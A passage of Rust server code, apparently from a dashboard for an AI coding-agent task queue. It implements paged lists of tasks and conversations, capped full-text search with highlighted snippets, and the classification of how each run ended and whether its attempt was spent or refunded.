5374        if walks.len() >= 16 {
5375            walks.remove(0);
5376        }
5377        walks.push(ListWalk {
5378            token,
5379            talks,
5380            opened: std::time::Instant::now(),
5381            ids: ids.clone(),
5382            initial_end,
5383        });
5384        (token, ids, 0, initial_end)
5385    };
5386    if offset > ids.len() {
5387        return Err(ApiError::bad_request("Invalid list cursor"));
5388    }
5389    let end = if offset == 0 {
5390        initial_end
5391    } else {
5392        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5393    };
5394    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5395    Ok((ids[offset..end].to_vec(), next))
5396}
5397
5398async fn queue_page(
5399    State(ui): State<Arc<Ui>>,
5400    Query(q): Query<PageQuery>,
5401) -> ApiResult<Json<StorePage<TaskView>>> {
5402    blocking(move || {
5403        let (ids, next) = page_ids(&ui, false, q)?;
5404        let tasks: Vec<_> = ids
5405            .into_iter()
5406            .filter_map(|id| ui.queue.get(&id).ok())
5407            .collect();
5408        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5409        let rows = tasks
5410            .into_iter()
5411            .map(|task| TaskView::with_inventory(task, &inv))
5412            .collect();
5413        Ok(Json(StorePage { rows, next }))
5414    })
5415    .await
5416}
5417
5418/// Fixed-size wire projection. Agent timestamps stay in the server index so
5419/// exact unread counts do not require sending an ever-growing turn list.
5420#[derive(Debug, Clone, Serialize)]
5421struct TalkListView {
5422    title: Option<talk::ChatTitle>,
5423    id: String,
5424    repo: PathBuf,
5425    agent: String,
5426    status: talk::TalkStatus,
5427    turns: Vec<TalkListTurn>,
5428    turn_count: usize,
5429    unread_count: usize,
5430    context: talk::ContextUsage,
5431    #[serde(skip)]
5432    agent_times: Vec<Timestamp>,
5433    thinking: bool,
5434    created_at: Timestamp,
5435    updated_at: Timestamp,
5436}
5437
5438#[derive(Debug, Clone, Serialize)]
5439struct TalkListTurn {
5440    who: talk::Who,
5441    at: Timestamp,
5442    body: String,
5443}
5444
5445fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5446    let reads: HashMap<String, Timestamp> = headers
5447        .get("x-talk-reads")
5448        .and_then(|v| v.to_str().ok())
5449        .and_then(|v| serde_json::from_str(v).ok())
5450        .unwrap_or_default();
5451    let mut index = ui
5452        .monitor
5453        .talk_index
5454        .lock()
5455        .unwrap_or_else(PoisonError::into_inner);
5456    // Bound memory independently of the number of conversations ever opened.
5457    if index.len() > 1000 {
5458        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5459        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5460        if index.len() > 1000 {
5461            index.retain(|id, _| keep.contains(id.as_str()));
5462        }
5463    }
5464    ids.into_iter()
5465        .filter_map(|id| {
5466            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5467            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5468                let talk = ui.talks.get(&id).ok()?;
5469                #[cfg(test)]
5470                ui.monitor
5471                    .talk_parses
5472                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5473                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5474                let last = talk.turns.len().checked_sub(1);
5475                let turns = talk
5476                    .turns
5477                    .iter()
5478                    .enumerate()
5479                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5480                    .map(|(_, t)| TalkListTurn {
5481                        who: t.who,
5482                        at: t.at,
5483                        body: t
5484                            .body
5485                            .lines()
5486                            .next()
5487                            .unwrap_or_default()
5488                            .chars()
5489                            .take(240)
5490                            .collect(),
5491                    })
5492                    .collect();
5493                let row = TalkListView {
5494                    title: talk.title.clone(),
5495                    agent_times: talk
5496                        .turns
5497                        .iter()
5498                        .filter(|t| t.who == talk::Who::Agent)
5499                        .map(|t| t.at)
5500                        .collect(),
5501                    turn_count: talk.turns.len(),
5502                    unread_count: 0,
5503                    context: talk::context_usage(&talk, None),
5504                    turns,
5505                    thinking: false,
5506                    id: talk.id,
5507                    repo: talk.repo,
5508                    agent: talk.agent,
5509                    status: talk.status,
5510                    created_at: talk.created_at,
5511                    updated_at: talk.updated_at,
5512                };
5513                index.insert(id.clone(), (identity, row));
5514            }
5515            let row = &index.get(&id)?.1;
5516            let mut row = TalkListView {
5517                title: row.title.clone(),
5518                unread_count: row
5519                    .agent_times
5520                    .iter()
5521                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5522                    .count(),
5523                agent_times: Vec::new(),
5524                id: row.id.clone(),
5525                repo: row.repo.clone(),
5526                agent: row.agent.clone(),
5527                status: row.status,
5528                context: row.context.clone(),
5529                turns: row.turns.clone(),
5530                turn_count: row.turn_count,
5531                thinking: false,
5532                created_at: row.created_at,
5533                updated_at: row.updated_at,
5534            };
5535            row.thinking = ui.is_thinking(&id);
5536            Some(row)
5537        })
5538        .collect()
5539}
5540
5541async fn talks_page(
5542    State(ui): State<Arc<Ui>>,
5543    Query(q): Query<PageQuery>,
5544    headers: header::HeaderMap,
5545) -> ApiResult<Json<StorePage<TalkListView>>> {
5546    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5547        let (ids, next) = page_ids(&ui, true, q)?;
5548        Ok(Json(StorePage {
5549            rows: talk_rows(&ui, ids, &headers),
5550            next,
5551        }))
5552    })
5553    .await
5554}
5555
5556async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5557    blocking(move || {
5558        let tasks = ui.indexed_tasks()?;
5559        Ok(Json(TaskCountsView::from(
5560            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5561        )))
5562    })
5563    .await
5564}
5565
5566/// Most hits one search returns. The rest are counted in `total`.
5567const SEARCH_MAX_HITS: usize = 100;
5568/// Longest query, in characters, and most terms it is split into.
5569const SEARCH_MAX_QUERY: usize = 200;
5570const SEARCH_MAX_TERMS: usize = 8;
5571/// Characters of context kept before the first hit, and after it.
5572const SNIPPET_BEFORE: usize = 50;
5573const SNIPPET_AFTER: usize = 110;
5574
5575/// `?scope=runs|tasks&q=...`
5576#[derive(Debug, Deserialize)]
5577struct SearchQuery {
5578    #[serde(default)]
5579    scope: String,
5580    #[serde(default)]
5581    q: String,
5582}
5583
5584/// One piece of a snippet. `hit` pieces are what matched; the client renders
5585/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5586#[derive(Debug, Serialize, PartialEq, Eq)]
5587struct SnippetPart {
5588    text: String,
5589    hit: bool,
5590}
5591
5592/// Position plus transcript evidence, without changing the saved chat schema.
5593#[derive(Debug, Serialize)]
5594struct ChatSearchTarget {
5595    turn: usize,
5596    message: usize,
5597    at: String,
5598    text: String,
5599}
5600
5601fn chat_text_key(body: &str) -> String {
5602    let hash = body.chars().fold(2166136261_u32, |hash, c| {
5603        (hash ^ u32::from(c)).wrapping_mul(16777619)
5604    });
5605    format!("{hash:08x}:{}", body.chars().count())
5606}
5607
5608#[derive(Debug, Serialize)]
5609struct SearchHit {
5610    #[serde(skip_serializing_if = "Option::is_none")]
5611    target: Option<ChatSearchTarget>,
5612    id: String,
5613    /// The name of the field the snippet was cut from.
5614    field: String,
5615    snippet: Vec<SnippetPart>,
5616    /// The run's list row, so the page can apply its state / section / repo
5617    /// filters to a hit outside the loaded window. Absent for tasks and for a
5618    /// run record the list view cannot read.
5619    #[serde(skip_serializing_if = "Option::is_none")]
5620    run: Option<RunSummary>,
5621}
5622
5623#[derive(Debug, Serialize)]
5624struct SearchView {
5625    scope: String,
5626    q: String,
5627    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5628    hits: Vec<SearchHit>,
5629    /// Every match, hits beyond the cap included.
5630    total: usize,
5631    truncated: bool,
5632    /// Runs whose `run.json` could not be parsed at all. They were not
5633    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5634    unreadable: usize,
5635}
5636
5637/// The text leaves of a JSON document, with the name of the field each sits
5638/// under. Keys and numbers are skipped: they are structure, not prose.
5639fn text_leaves<'a>(
5640    value: &'a serde_json::Value,
5641    field: &'a str,
5642    out: &mut Vec<(&'a str, &'a str)>,
5643) {
5644    match value {
5645        serde_json::Value::String(s) => out.push((field, s)),
5646        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5647        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5648        _ => {}
5649    }
5650}
5651
5652/// Lower-case one character without changing how many there are, so indices
5653/// in the lowered text are indices in the original.
5654fn fold_char(c: char) -> char {
5655    c.to_lowercase().next().unwrap_or(c)
5656}
5657
5658/// Split a query into its lower-cased terms.
5659fn search_terms(q: &str) -> Vec<String> {
5660    let mut terms: Vec<String> = Vec::new();
5661    for t in q.split_whitespace() {
5662        let t = t.to_lowercase();
5663        if !terms.contains(&t) {
5664            terms.push(t);
5665        }
5666    }
5667    terms
5668}
5669
5670/// Match `terms` (all of them, anywhere in the document) against the leaves
5671/// and cut a snippet around the first hit. `None` when a term is missing.
5672fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5673    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5674    let mut first: Option<usize> = None;
5675    for term in terms {
5676        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5677        first = Some(first.map_or(at, |f| f.min(at)));
5678    }
5679    // The leaf holding the earliest hit of any term is where the snippet is cut.
5680    let (field, text) = leaves[first?];
5681    Some(SearchHit {
5682        id: String::new(),
5683        target: None,
5684        field: field.to_owned(),
5685        snippet: snippet_of(text, terms),
5686        run: None,
5687    })
5688}
5689
5690/// A window of `text` around the first occurrence of any term, whitespace
5691/// collapsed, with every term occurrence inside the window marked.
5692fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5693    let chars: Vec<char> = text.chars().collect();
5694    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5695    let needles: Vec<Vec<char>> = terms
5696        .iter()
5697        .map(|t| t.chars().map(fold_char).collect())
5698        .collect();
5699    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5700        let mut best: Option<(usize, usize)> = None;
5701        for n in needles.iter().filter(|n| !n.is_empty()) {
5702            // `to` bounds where a match may start; it may run past `to` (the
5703            // caller clips what it shows). A term longer than the field cannot
5704            // occur in it (it may live in another leaf of the document).
5705            if n.len() > chars.len() || to == 0 {
5706                continue;
5707            }
5708            let last = (to - 1).min(chars.len() - n.len());
5709            if from > last {
5710                continue;
5711            }
5712            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5713                && best.is_none_or(|(b, _)| i < b)
5714            {
5715                best = Some((i, i + n.len()));
5716            }
5717        }
5718        best
5719    };
5720    let Some((start, _)) = find(0, chars.len()) else {
5721        // Matched only through a case mapping that changes length: show the head.
5722        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5723        return vec![SnippetPart {
5724            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5725            hit: false,
5726        }];
5727    };
5728    let lo = start.saturating_sub(SNIPPET_BEFORE);
5729    let hi = (start + SNIPPET_AFTER).min(chars.len());
5730    let mut parts: Vec<SnippetPart> = Vec::new();
5731    let mut push = |s: &[char], hit: bool| {
5732        if s.is_empty() {
5733            return;
5734        }
5735        let text: String = s.iter().collect();
5736        match parts.last_mut() {
5737            Some(p) if p.hit == hit => p.text.push_str(&text),
5738            _ => parts.push(SnippetPart { text, hit }),
5739        }
5740    };
5741    if lo > 0 {
5742        push(&['\u{2026}'], false);
5743    }
5744    let mut at = lo;
5745    while at < hi {
5746        match find(at, hi) {
5747            Some((s, e)) => {
5748                push(&chars[at..s], false);
5749                // A match running past the window is shown up to its edge.
5750                let shown = e.min(hi);
5751                push(&chars[s..shown], true);
5752                at = shown;
5753            }
5754            None => {
5755                push(&chars[at..hi], false);
5756                at = hi;
5757            }
5758        }
5759    }
5760    if hi < chars.len() {
5761        push(&['\u{2026}'], false);
5762    }
5763    // Collapse whitespace (newlines in an instruction) without disturbing the
5764    // hit boundaries.
5765    let mut prev_space = false;
5766    for p in &mut parts {
5767        let mut out = String::with_capacity(p.text.len());
5768        for c in p.text.chars() {
5769            if c.is_whitespace() {
5770                if !prev_space {
5771                    out.push(' ');
5772                }
5773                prev_space = true;
5774            } else {
5775                out.push(c);
5776                prev_space = false;
5777            }
5778        }
5779        p.text = out;
5780    }
5781    parts.retain(|p| !p.text.is_empty());
5782    parts
5783}
5784
5785/// The search over `docs` (id, document), newest first, capped.
5786fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5787where
5788    I: IntoIterator<Item = (String, serde_json::Value)>,
5789{
5790    for (id, doc) in docs {
5791        let mut leaves = Vec::new();
5792        // The id is text an operator types too, and it is a map key on disk,
5793        // not a leaf.
5794        leaves.push(("id", id.as_str()));
5795        text_leaves(&doc, "", &mut leaves);
5796        if let Some(mut hit) = search_document(terms, &leaves) {
5797            view.total += 1;
5798            if view.hits.len() < SEARCH_MAX_HITS {
5799                hit.id = id;
5800                view.hits.push(hit);
5801            }
5802        }
5803    }
5804    view.truncated = view.total > view.hits.len();
5805}
5806
5807/// What a conversation is searched by: its list title and each turn's text,
5808/// under their sender labels so the snippet says who spoke. Nothing else
5809/// (session ids, repo paths, usage, drafts) is part of the document.
5810///
5811/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5812fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5813    let opener = talk
5814        .title
5815        .as_ref()
5816        .filter(|t| !t.text.is_empty())
5817        .map(|t| t.text.as_str())
5818        .or_else(|| {
5819            talk.turns
5820                .iter()
5821                .find(|t| t.who == talk::Who::Operator)
5822                .map(|t| t.body.as_str())
5823        })
5824        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5825        .unwrap_or("");
5826    let title: String = if opener.chars().count() > 96 {
5827        opener.chars().take(95).chain(['\u{2026}']).collect()
5828    } else {
5829        opener.to_owned()
5830    };
5831    let turns: Vec<serde_json::Value> = talk
5832        .turns
5833        .iter()
5834        .flat_map(|t| {
5835            let label = |message| match talk::sender(t, message) {
5836                talk::Sender::External => "external",
5837                _ => match t.who {
5838                    talk::Who::Operator => "operator",
5839                    talk::Who::Agent => "agent",
5840                },
5841            };
5842            if t.messages.is_empty() {
5843                vec![serde_json::json!({ label(None): t.body })]
5844            } else {
5845                t.messages
5846                    .iter()
5847                    .map(|m| serde_json::json!({ label(Some(m)): m.body }))
5848                    .collect()
5849            }
5850        })
5851        .collect();
5852    serde_json::json!({ "title": title, "turns": turns })
5853}
5854
5855fn search_chat(terms: &[String], talk: &Talk) -> Option<SearchHit> {
5856    let doc = talk_search_doc(talk);
5857    let mut leaves = vec![("id", talk.id.as_str())];
5858    text_leaves(&doc, "", &mut leaves);
5859    let mut hit = search_document(terms, &leaves)?;
5860    // Use exactly the leaf that supplied the snippet, including title/id hits.
5861    let leaf = leaves
5862        .iter()
5863        .position(|(_, text)| terms.iter().any(|term| text.to_lowercase().contains(term)))?;
5864    let messages: Vec<_> = talk
5865        .turns
5866        .iter()
5867        .enumerate()
5868        .flat_map(|(i, turn)| {
5869            let bodies: Vec<&str> = if turn.messages.is_empty() {
5870                vec![turn.body.as_str()]
5871            } else {
5872                turn.messages.iter().map(|m| m.body.as_str()).collect()
5873            };
5874            bodies
5875                .into_iter()
5876                .enumerate()
5877                .map(move |(j, body)| (i, j, turn, body))
5878        })
5879        .collect();
5880    let target = leaf
5881        .checked_sub(2)
5882        .and_then(|i| messages.get(i))
5883        .or_else(|| {
5884            // An unsaved title is the opener's first nonempty line, so its
5885            // snippet still identifies a transcript message. Saved titles do not.
5886            if leaf != 1 || talk.title.as_ref().is_some_and(|t| !t.text.is_empty()) {
5887                return None;
5888            }
5889            let (index, opener) = talk
5890                .turns
5891                .iter()
5892                .enumerate()
5893                .find(|(_, turn)| turn.who == talk::Who::Operator)?;
5894            let line = opener
5895                .body
5896                .lines()
5897                .map(str::trim)
5898                .find(|line| !line.is_empty())?;
5899            messages.iter().find(|(i, _, _, body)| {
5900                *i == index
5901                    && body.lines().map(str::trim).find(|line| !line.is_empty()) == Some(line)
5902            })
5903        });
5904    if let Some((i, j, turn, body)) = target {
5905        hit.target = Some(ChatSearchTarget {
5906            turn: *i,
5907            message: *j,
5908            at: turn.at.to_string(),
5909            text: chat_text_key(body),
5910        });
5911    }
5912    hit.id = talk.id.clone();
5913    Some(hit)
5914}
5915
5916/// Read-only full-text search over every run's `run.json`, every task or every
5917/// conversation (title and transcript).
5918///
5919/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5920/// record from an older schema still searches; only a file that is not JSON
5921/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5922async fn search_get(
5923    State(ui): State<Arc<Ui>>,
5924    Query(q): Query<SearchQuery>,
5925) -> ApiResult<Json<SearchView>> {
5926    let query = q.q.trim().to_owned();
5927    if query.is_empty() {
5928        return Err(ApiError::bad_request("q must not be empty"));
5929    }
5930    if query.chars().count() > SEARCH_MAX_QUERY {
5931        return Err(ApiError::bad_request(format!(
5932            "q is longer than {SEARCH_MAX_QUERY} characters"
5933        )));
5934    }
5935    let terms = search_terms(&query);
5936    if terms.len() > SEARCH_MAX_TERMS {
5937        return Err(ApiError::bad_request(format!(
5938            "q has more than {SEARCH_MAX_TERMS} terms"
5939        )));
5940    }
5941    let scope = q.scope;
5942    if scope != "runs" && scope != "tasks" && scope != "chats" {
5943        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5944    }
5945    blocking(move || {
5946        let mut view = SearchView {
5947            scope: scope.clone(),
5948            q: query,
5949            hits: Vec::new(),
5950            total: 0,
5951            truncated: false,
5952            unreadable: 0,
5953        };
5954        if scope == "runs" {
5955            let mut unreadable = 0;
5956            // One run.json is read, matched and dropped at a time; nothing
5957            // holds the whole history. The scan runs to the end even past the
5958            // hit cap so `total` and `unreadable` stay exact.
5959            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5960                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5961                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5962                    Some(v) => Some((id, v)),
5963                    None => {
5964                        unreadable += 1;
5965                        None
5966                    }
5967                }
5968            });
5969            search_docs(&terms, docs, &mut view);
5970            view.unreadable = unreadable;
5971            // Only the capped hits get a row: the filters need a run's state,
5972            // and reading every match would be the whole history again.
5973            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5974            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5975            for hit in &mut view.hits {
5976                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5977                    hit.run = summarize(
5978                        [state],
5979                        &open_runs,
5980                        &claimed,
5981                        &superseded,
5982                        |p| probe.borrow_mut().status(p),
5983                        |p| probe.borrow_mut().started_at(p),
5984                    )
5985                    .pop();
5986                }
5987            }
5988        } else if scope == "chats" {
5989            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5990            view.unreadable = unreadable;
5991            for talk in &talks {
5992                if let Some(hit) = search_chat(&terms, talk) {
5993                    view.total += 1;
5994                    if view.hits.len() < SEARCH_MAX_HITS {
5995                        view.hits.push(hit);
5996                    }
5997                }
5998            }
5999            view.truncated = view.total > view.hits.len();
6000        } else {
6001            let docs = ui.queue.list().into_iter().filter_map(|t| {
6002                let mut v = serde_json::to_value(&t).ok()?;
6003                // `source` serialises as a tagged object; the label is what
6004                // the operator reads ("human", "chat@a1b2").
6005                if let Some(o) = v.as_object_mut() {
6006                    o.insert("filed_by".to_owned(), t.source.label().into());
6007                }
6008                Some((t.id, v))
6009            });
6010            search_docs(&terms, docs, &mut view);
6011        }
6012        Ok(Json(view))
6013    })
6014    .await
6015}
6016
6017/// One attempt in a task's history, as the task page lists it.
6018#[derive(Debug, Serialize)]
6019struct TaskRunView {
6020    activity: Option<String>,
6021    /// 1-based position in [`Task::runs`].
6022    n: usize,
6023    id: String,
6024    short: String,
6025    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
6026    kind: &'static str,
6027    /// The run's own status string; `None` when its record cannot be read.
6028    status: Option<&'static str>,
6029    /// Whether this build could read the run's record. Counted, never hidden.
6030    readable: bool,
6031    /// A verdict from a collapsed panel is provisional, never a decision.
6032    provisional: bool,
6033    /// What kind of attempt this was, in one line.
6034    description: String,
6035    /// How it ended and why the task moved on (or what it is doing now).
6036    outcome: String,
6037    created_at: Option<Timestamp>,
6038    pr: Option<String>,
6039    /// Why this pass ended, classified once; the flowchart is built from it.
6040    exit: RunExit,
6041    /// What the pass did to the task's attempt budget.
6042    attempt: AttemptCost,
6043    /// Edge wording for leaving this entry; names the recorded cause when
6044    /// there is one.
6045    exit_label: String,
6046    /// The position of a later entry for the same run: this entry is an
6047    /// earlier pass of it.
6048    later_pass: Option<usize>,
6049    /// Which pass over the run this entry is (1-based) and how many entries
6050    /// the task lists for the run. Counted from the list, so known even for
6051    /// a legacy record.
6052    pass_n: usize,
6053    passes_of_run: usize,
6054    /// What the run recorded about this pass; `None` for a record from before
6055    /// passes were kept, whose cause stays unknown.
6056    pass: Option<PassView>,
6057    /// The branch a review-only run reopened.
6058    branch: Option<String>,
6059    /// The badge word when it differs from `status` (`stale` / `superseded`);
6060    /// filled by the task route, which can see liveness and later attempts.
6061    badge: Option<String>,
6062}
6063
6064/// One recorded pass over a run, for the wire.
6065#[derive(Debug, Clone, PartialEq, Serialize)]
6066struct PassView {
6067    index: usize,
6068    resumed: bool,
6069    started_at: Timestamp,
6070    ended_at: Option<Timestamp>,
6071    /// `open`, `parked` or `unrecorded`.
6072    end: &'static str,
6073    cause: Option<crate::run::ParkCause>,
6074    /// One line: why it stopped, or that nobody recorded why.
6075    label: String,
6076    /// What the task recorded for this pass; `None` when it was not settled
6077    /// (or settled by a build that kept no record).
6078    cost: Option<crate::queue::PassCost>,
6079}
6080
6081impl PassView {
6082    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6083        use crate::run::PassEnd;
6084        let (end, cause, label) = match &p.end {
6085            None => ("open", None, "still open".to_owned()),
6086            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6087            Some(PassEnd::Unrecorded) => (
6088                "unrecorded",
6089                None,
6090                "stopped without recording why (a crash, a kill or a restart; not known)"
6091                    .to_owned(),
6092            ),
6093        };
6094        Self {
6095            index: p.index,
6096            resumed: p.resumed,
6097            started_at: p.started_at,
6098            ended_at: p.ended_at,
6099            end,
6100            cause,
6101            label,
6102            cost: settled.map(|t| t.cost),
6103        }
6104    }
6105}
6106
6107/// How one pass over a run ended, as far as the task's life is concerned.
6108#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6109#[serde(rename_all = "snake_case")]
6110enum RunExit {
6111    Unreadable,
6112    /// An earlier pass of a run id that appears again: it stopped short.
6113    Interrupted,
6114    Parked,
6115    MachineBlocked,
6116    QuotaStall,
6117    /// Stalled on a resumed pass with quota losses on record: they may be
6118    /// left over from an earlier pass, so whether this one was refunded is
6119    /// not knowable.
6120    ResumedQuotaStall,
6121    Merged,
6122    Ready,
6123    Superseded,
6124    /// The change was already on the base under other commits: the task
6125    /// finished without this run landing anything.
6126    AlreadyInBase,
6127    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6128    Stalled,
6129    /// Blocked / no-op with a pull request left open: held for a person.
6130    HeldWithPr,
6131    NoopHeld,
6132    /// Blocked or failed: the attempt is spent and the task retries or holds.
6133    Spent,
6134    InProgress,
6135}
6136
6137#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6138#[serde(rename_all = "snake_case")]
6139enum AttemptCost {
6140    Spent,
6141    Refunded,
6142    None,
6143    /// Cannot be told from the records that remain.
6144    Unknown,
6145}
6146
6147impl RunExit {
6148    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6149        let Some(s) = s else {
6150            return Self::Unreadable;
6151        };
6152        let status = s.status;
6153        if resumed_later {
6154            Self::Interrupted
6155        } else if s.parked {
6156            Self::Parked
6157        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6158            Self::MachineBlocked
6159        } else if !status.done() {
6160            Self::InProgress
6161        } else if matches!(status, RunStatus::Merged) {
6162            Self::Merged
6163        } else if matches!(status, RunStatus::Ready) {
6164            Self::Ready
6165        } else if matches!(status, RunStatus::Superseded) {
6166            Self::Superseded
6167        } else if matches!(status, RunStatus::AlreadyInBase) {
6168            Self::AlreadyInBase
6169        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6170            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6171        {
6172            if resumed {
6173                Self::ResumedQuotaStall
6174            } else {
6175                Self::QuotaStall
6176            }
6177        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6178            Self::HeldWithPr
6179        } else if matches!(status, RunStatus::VerifiedNoop) {
6180            Self::NoopHeld
6181        } else if matches!(status, RunStatus::Stalled) {
6182            Self::Stalled
6183        } else {
6184            Self::Spent
6185        }
6186    }
6187
6188    fn cost(self) -> AttemptCost {
6189        match self {
6190            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6191            Self::Merged
6192            | Self::Ready
6193            | Self::Stalled
6194            | Self::HeldWithPr
6195            | Self::NoopHeld
6196            | Self::Spent => AttemptCost::Spent,
6197            Self::InProgress => AttemptCost::None,
6198            Self::AlreadyInBase => AttemptCost::Refunded,
6199            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6200                AttemptCost::Unknown
6201            }
6202        }
6203    }
6204
6205    /// Short edge wording for leaving a run this way.
6206    fn edge_label(self, status: Option<&str>) -> String {
6207        match self {
6208            Self::Unreadable => "record unreadable".to_owned(),
6209            Self::Interrupted => "interrupted before the run finished".to_owned(),
6210            Self::Parked => "parked, attempt refunded".to_owned(),
6211            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6212            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6213            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6214            Self::Merged => "merged".to_owned(),
6215            Self::Ready => "ready, not merged".to_owned(),
6216            Self::Superseded => "superseded by a later attempt".to_owned(),
6217            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6218            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6219            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6220            Self::NoopHeld => "verified no-op".to_owned(),
6221            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6222            Self::InProgress => "in progress".to_owned(),
6223        }
6224    }
6225
6226    /// Does a task in `end` follow from a run that ended this way? When not,
6227    /// somebody closed or held the task by hand.
6228    fn explains(self, end: TaskStatus) -> bool {
6229        match self {
6230            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6231            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6232            Self::Unreadable | Self::Superseded | Self::Ready => true,
6233            _ => end != TaskStatus::Done,
6234        }
6235    }
6236}
6237
6238/// `GET /api/queue/{id}` - one task with every attempt it went through.
6239#[derive(Debug, Serialize)]
6240struct TaskDetailView {
6241    #[serde(flatten)]
6242    task: TaskView,
6243    /// Task override, or the default daemon budget when inherited.
6244    /// A separate loop's command-line limit is not visible from here.
6245    max_attempts: usize,
6246    history: Vec<TaskRunView>,
6247    /// Entries in `history`: passes over runs, not distinct runs and not
6248    /// attempts consumed (`task.attempts`).
6249    passes_total: usize,
6250    /// Distinct runs those passes belong to.
6251    runs_distinct: usize,
6252    flow: FlowView,
6253    /// Set for a follow-up task; see [`followup_origin`].
6254    followup_origin: Option<FollowUpOrigin>,
6255    /// How many entries of `history` could not be read.
6256    runs_unreadable: usize,
6257    /// Why the attempt count can be lower than the number of runs.
6258    attempts_note: &'static str,
6259}
6260
6261const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6262and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6263on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6264the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6265
6266/// The branch a review-only run reopened, read off the instruction
6267/// `Runner::open_review` writes.
6268fn review_branch_of(instruction: &str) -> Option<&str> {
6269    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6270    rest.split('`').next().filter(|b| !b.is_empty())
6271}
6272
6273/// Where an entry sits in a task's run list.
6274#[derive(Default)]
6275struct RunSlot<'a> {
6276    /// 1-based position.
6277    n: usize,
6278    /// The same run id appeared earlier: this pass resumed it.
6279    resumed: bool,
6280    /// Position of a later pass over the same run id, if any.
6281    resumed_later: Option<usize>,
6282    /// The previous distinct run and how it ended, for the retry note.
6283    prior: Option<(&'a str, RunStatus)>,
6284    last: bool,
6285    /// This pass as the run recorded it, when it did.
6286    pass: Option<&'a crate::run::RunPass>,
6287    /// What the task recorded when it settled this pass.
6288    settled: Option<&'a crate::queue::TaskPass>,
6289    /// 1-based position among the task's entries for this run, and their count.
6290    pass_n: usize,
6291    passes_of_run: usize,
6292}
6293
6294/// Describe one entry of a task's run list. Pure: everything it needs is on
6295/// the run and the task, so it is asserted without a server.
6296fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6297    let RunSlot {
6298        n,
6299        resumed,
6300        resumed_later,
6301        prior,
6302        last,
6303        pass,
6304        settled,
6305        pass_n,
6306        passes_of_run,
6307    } = at;
6308    let short = run::short_of(id).to_owned();
6309    let Some(s) = state else {
6310        return TaskRunView {
6311            activity: None,
6312            n,
6313            id: id.to_owned(),
6314            short,
